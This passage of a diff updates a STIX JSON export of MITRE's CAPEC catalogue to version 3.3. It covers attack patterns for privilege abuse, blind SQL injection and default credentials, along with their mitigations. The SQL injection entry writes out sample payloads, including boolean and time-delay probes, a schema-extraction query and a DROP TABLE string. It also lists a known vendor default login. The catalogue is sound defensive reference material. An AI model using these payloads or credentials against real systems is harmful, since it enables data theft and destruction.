"relationship--1e2f360c-c268-4b41-a5b7-b73b41b6ad49", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1e2f360c-c268-4b41-a5b7-b73b41b6ad49", "source_ref": "course-of-action--4f33facb-34c1-4eab-9b1f-e31ba84713d2", "relationship_type": "mitigates", "target_ref": "attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b" @@ -41427,29 +46100,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-68-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "If an attacker cannot attack the scheme directly, he might try to alter the environment that affects the signing and verification processes. A possible mitigation is to avoid reliance on flags or environment variables that are user-controllable.", + "description": "If an attacker cannot attack the scheme directly, they might try to alter the environment that affects the signing and verification processes. A possible mitigation is to avoid reliance on flags or environment variables that are user-controllable.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--a80119de-4e49-4788-9300-6fe496edab8d" + "id": "course-of-action--211fb4c0-38c1-4bfe-bb8e-b32e9baaf81c" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4a6bae4c-1734-4d44-899b-b6c9e0be31b5", - "source_ref": "course-of-action--a80119de-4e49-4788-9300-6fe496edab8d", + "id": "relationship--08999418-b2b2-438c-aa9b-95bf0933923b", + "source_ref": "course-of-action--211fb4c0-38c1-4bfe-bb8e-b32e9baaf81c", "relationship_type": "mitigates", "target_ref": "attack-pattern--2b8d7aaf-bd4b-424f-8df4-6d0f37b72f4b" }, { + "id": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7", "name": "Target Programs with Elevated Privileges", "description": "This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -41457,7 +46133,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -41520,262 +46196,283 @@ ] }, "x_capec_abstraction": "Standard", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker probes for programs running with elevated privileges.

  2. The attacker finds a bug in a program running with elevated privileges.

Exploit

  1. The attacker exploits the bug that they have found. For instance, they can try to inject and execute arbitrary code or write to OS resources.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--c87108ec-86d6-4db1-b9a6-9d165534dfbb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Apply the principle of least privilege.", - "type": "course-of-action", - "id": "course-of-action--c87108ec-86d6-4db1-b9a6-9d165534dfbb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4ac5e039-5b39-4762-baa6-db1436c0c113", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4ac5e039-5b39-4762-baa6-db1436c0c113", "source_ref": "course-of-action--c87108ec-86d6-4db1-b9a6-9d165534dfbb", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--ffbb9cca-91d0-42f4-8214-bd2ef9539388", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Validate all untrusted data.", - "type": "course-of-action", - "id": "course-of-action--ffbb9cca-91d0-42f4-8214-bd2ef9539388" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3b71f57d-057f-4ba8-90a3-b82441f7ad5f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3b71f57d-057f-4ba8-90a3-b82441f7ad5f", "source_ref": "course-of-action--ffbb9cca-91d0-42f4-8214-bd2ef9539388", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--82e53757-6195-45a8-87d8-b8a3471be28d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Apply the latest patches.", - "type": "course-of-action", - "id": "course-of-action--82e53757-6195-45a8-87d8-b8a3471be28d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3c3677a7-f6ef-4f6a-98f2-23a940c9d065", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3c3677a7-f6ef-4f6a-98f2-23a940c9d065", "source_ref": "course-of-action--82e53757-6195-45a8-87d8-b8a3471be28d", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--7b2b2f5e-63ea-4e66-b1db-20c8cfb846bc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Scan your services and disable the ones which are not needed and are exposed unnecessarily. Exposing programs increases the attack surface. Only expose the services which are needed and have security mechanisms such as authentication built around them.", - "type": "course-of-action", - "id": "course-of-action--7b2b2f5e-63ea-4e66-b1db-20c8cfb846bc" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3852cd85-fee0-458c-aa19-1ee065916045", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3852cd85-fee0-458c-aa19-1ee065916045", "source_ref": "course-of-action--7b2b2f5e-63ea-4e66-b1db-20c8cfb846bc", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--2e81b94f-576a-4a5d-8535-19447cf00938", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-4", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Avoid revealing information about your system (e.g., version of the program) to anonymous users.", - "type": "course-of-action", - "id": "course-of-action--2e81b94f-576a-4a5d-8535-19447cf00938" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6f38ce3b-57b6-40fc-8b8c-08befcded00e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6f38ce3b-57b6-40fc-8b8c-08befcded00e", "source_ref": "course-of-action--2e81b94f-576a-4a5d-8535-19447cf00938", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--c88ccddb-e8a1-4fd2-91df-be5dfb7cd1b3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-5", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Make sure that your program or service fail safely. What happen if the communication protocol is interrupted suddenly? What happen if a parameter is missing? Does your system have resistance and resilience to attack? Fail safely when a resource exhaustion occurs.", - "type": "course-of-action", - "id": "course-of-action--c88ccddb-e8a1-4fd2-91df-be5dfb7cd1b3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5b4e5f04-ebe0-4a77-b851-5826990a4dda", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5b4e5f04-ebe0-4a77-b851-5826990a4dda", "source_ref": "course-of-action--c88ccddb-e8a1-4fd2-91df-be5dfb7cd1b3", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--7031e154-89f3-4994-8c96-386138825551", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-6", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "If possible use a sandbox model which limits the actions that programs can take. A sandbox restricts a program to a set of privileges and commands that make it difficult or impossible for the program to cause any damage.", - "type": "course-of-action", - "id": "course-of-action--7031e154-89f3-4994-8c96-386138825551" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f29e28aa-4464-4272-a547-4585c2e99452", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f29e28aa-4464-4272-a547-4585c2e99452", "source_ref": "course-of-action--7031e154-89f3-4994-8c96-386138825551", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--d97a8953-bfba-4b9a-ab46-36c6b343b91a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-7", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Check your program for buffer overflow and format String vulnerabilities which can lead to execution of malicious code.", - "type": "course-of-action", - "id": "course-of-action--d97a8953-bfba-4b9a-ab46-36c6b343b91a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5813c2bd-b132-4bc7-ae4d-5c4b492c361e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5813c2bd-b132-4bc7-ae4d-5c4b492c361e", "source_ref": "course-of-action--d97a8953-bfba-4b9a-ab46-36c6b343b91a", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--fe9d8853-a306-4443-b34e-d9d755890734", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-8", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Monitor traffic and resource usage and pay attention if resource exhaustion occurs.", - "type": "course-of-action", - "id": "course-of-action--fe9d8853-a306-4443-b34e-d9d755890734" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--d245d4d1-c52c-41ba-aae5-782470e499d9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--d245d4d1-c52c-41ba-aae5-782470e499d9", "source_ref": "course-of-action--fe9d8853-a306-4443-b34e-d9d755890734", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "course-of-action--94ece0ea-fea4-4009-86a0-589e49a5a8aa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-69-9", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Protect your log file from unauthorized modification and log forging.", - "type": "course-of-action", - "id": "course-of-action--94ece0ea-fea4-4009-86a0-589e49a5a8aa" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--66ca67c0-4eaa-438c-ba7f-8bbdd79867b4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--66ca67c0-4eaa-438c-ba7f-8bbdd79867b4", "source_ref": "course-of-action--94ece0ea-fea4-4009-86a0-589e49a5a8aa", "relationship_type": "mitigates", "target_ref": "attack-pattern--ca989a50-b24e-4917-a234-ce4788fa21c7" }, { + "id": "attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269", "name": "Blind SQL Injection", "description": "Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -41783,7 +46480,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -41856,50 +46553,54 @@ "\n An adversary may try entering something like \"username' AND 1=1; --\" in an input field. If the result is the same as when the adversary entered \"username\" in the field, then the adversary knows that the application is vulnerable to SQL Injection. The adversary can then ask yes/no questions from the database server to extract information from it. For example, the adversary can extract table names from a database using the following types of queries:\n \"username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108\".\n If the above query executes properly, then the adversary knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the adversary knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the adversary can determine all table names in the database. Subsequently, the adversary may execute an actual attack and send something like:\n \"username'; DROP TABLE trades; --\n ", "In the PHP application TimeSheet 1.1, an adversary can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the adversary is aware of the local path structure, the adversary can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file. See also: CVE-2006-4705" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. [Hypothesize SQL queries in application]Generated hypotheses regarding the SQL queries in an application. For example, the adversary may hypothesize that their input is passed directly into a query that looks like:\n \"SELECT * FROM orders WHERE ordernum = _____\"or\"SELECT * FROM orders WHERE ordernum IN (_____)\"or\"SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____\"\n Of course, there are many other possibilities.\n

    2. Techniques
    Research types of SQL queries and determine which ones could be used at various places in an application.

  2. [Determine how to inject information into the queries]Determine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries:\n \"5' OR 1=1; --\"and\"5) OR 1=1; --\"and\"ordernum DESC; --\"\n

    3. Techniques
    Add clauses to the SQL queries such that the query logic does not change.
    Add delays to the SQL queries in case server does not provide clear error messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the adversary suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the adversary knows that the SQL injection was successful.

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

  2. Determine database type: Determines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queries

    3. Techniques
    Try injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only)
    Try injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only)
    Inject other database-specific commands into input fields susceptible to SQL Injection. The adversary can determine the type of database that is running by checking whether the query executed successfully or not (i.e. whether the adversary received a normal response from the server or not).

Exploit

  1. Extract information about database schema: Extract information about database schema by getting the database to answer yes/no questions about the schema.

    2. Techniques
    Automatically extract database schema using a tool such as Absinthe.
    Manually perform the blind SQL Injection to extract desired information about the database schema.

  2. Exploit SQL Injection vulnerability: Use the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the database

    3. Techniques
    Use information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--b126246b-e773-4c81-af2f-40d1dcfb2160", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-7-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Security by Obscurity is not a solution to preventing SQL Injection. Rather than suppress error messages and exceptions, the application must handle them gracefully, returning either a custom error page or redirecting the user to a default page, without revealing any information about the database or the application internals.", - "type": "course-of-action", - "id": "course-of-action--b126246b-e773-4c81-af2f-40d1dcfb2160" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e8e7946c-f260-48f6-8601-b5bd6d149921", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e8e7946c-f260-48f6-8601-b5bd6d149921", "source_ref": "course-of-action--b126246b-e773-4c81-af2f-40d1dcfb2160", "relationship_type": "mitigates", "target_ref": "attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269" }, { + "id": "relationship--a8e9617f-1737-408d-9e05-97402a6101c9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a8e9617f-1737-408d-9e05-97402a6101c9", "source_ref": "course-of-action--07cbed26-8c96-41e6-a239-7be587a38673", "relationship_type": "mitigates", "target_ref": "attack-pattern--9116da7f-a60e-4186-b42a-218f1b0eb269" }, { + "id": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170", "name": "Try Common or Default Usernames and Passwords", "description": "An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. \"secret\" or \"password\") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -41907,7 +46608,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -41936,8 +46637,42 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Default Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/001", + "external_id": "T1078.001" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Spraying", + "url": "https://attack.mitre.org/wiki/Technique/T1110/003", + "external_id": "T1110.003" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Corporate IoT \u2013 a path to intrusion, 2019--10---05, Microsoft Security Response Center (MSRC)", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion", + "external_id": "REF-572" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Risks of Default Passwords on the Internet, 2016--10---07, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A", + "external_id": "REF-574" } ], "x_capec_likelihood_of_attack": "Medium", @@ -41964,79 +46699,85 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "User Bob sets his password to \"123\" or literally leaves his password blank. If the system does not have password strength enforcement against a sound password policy, this password may be admitted. Passwords like these two examples are two simple and common passwords that are easily able to be guessed by the adversary.", - "Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username \"root\" with a password \"password\". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288" + "A user sets their password to \"123\" or intentionally leaves their password blank. If the system does not have password strength enforcement against a sound password policy, this password may be admitted. Passwords like these two examples are two simple and common passwords that are easily able to be guessed by the adversary.", + "Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username \"root\" with a password \"password\". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288", + "In April 2019, adversaries attacked several popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. An investigation conducted by the Microsoft Security Resposne Center (MSRC) discovered that these devices were used to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer\u2019s passwords and in the third instance the latest security update had not been applied to the device. [REF-572]" ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--a5bb8adb-a8f3-466a-af09-898ca2b29b74", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-70-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Delete all default account credentials that may be put in by the product vendor.", - "type": "course-of-action", - "id": "course-of-action--a5bb8adb-a8f3-466a-af09-898ca2b29b74" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5ae690da-8edd-49c2-92c4-8f09f6f23cd6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5ae690da-8edd-49c2-92c4-8f09f6f23cd6", "source_ref": "course-of-action--a5bb8adb-a8f3-466a-af09-898ca2b29b74", "relationship_type": "mitigates", "target_ref": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170" }, { + "id": "relationship--ac1c094b-9c14-4717-9353-911a46460f08", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ac1c094b-9c14-4717-9353-911a46460f08", "source_ref": "course-of-action--1260aa3b-67cb-4194-9b7c-1edcd9cea382", "relationship_type": "mitigates", "target_ref": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170" }, { + "id": "relationship--fcdf171c-f44d-4397-8365-c74fb76197ea", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ 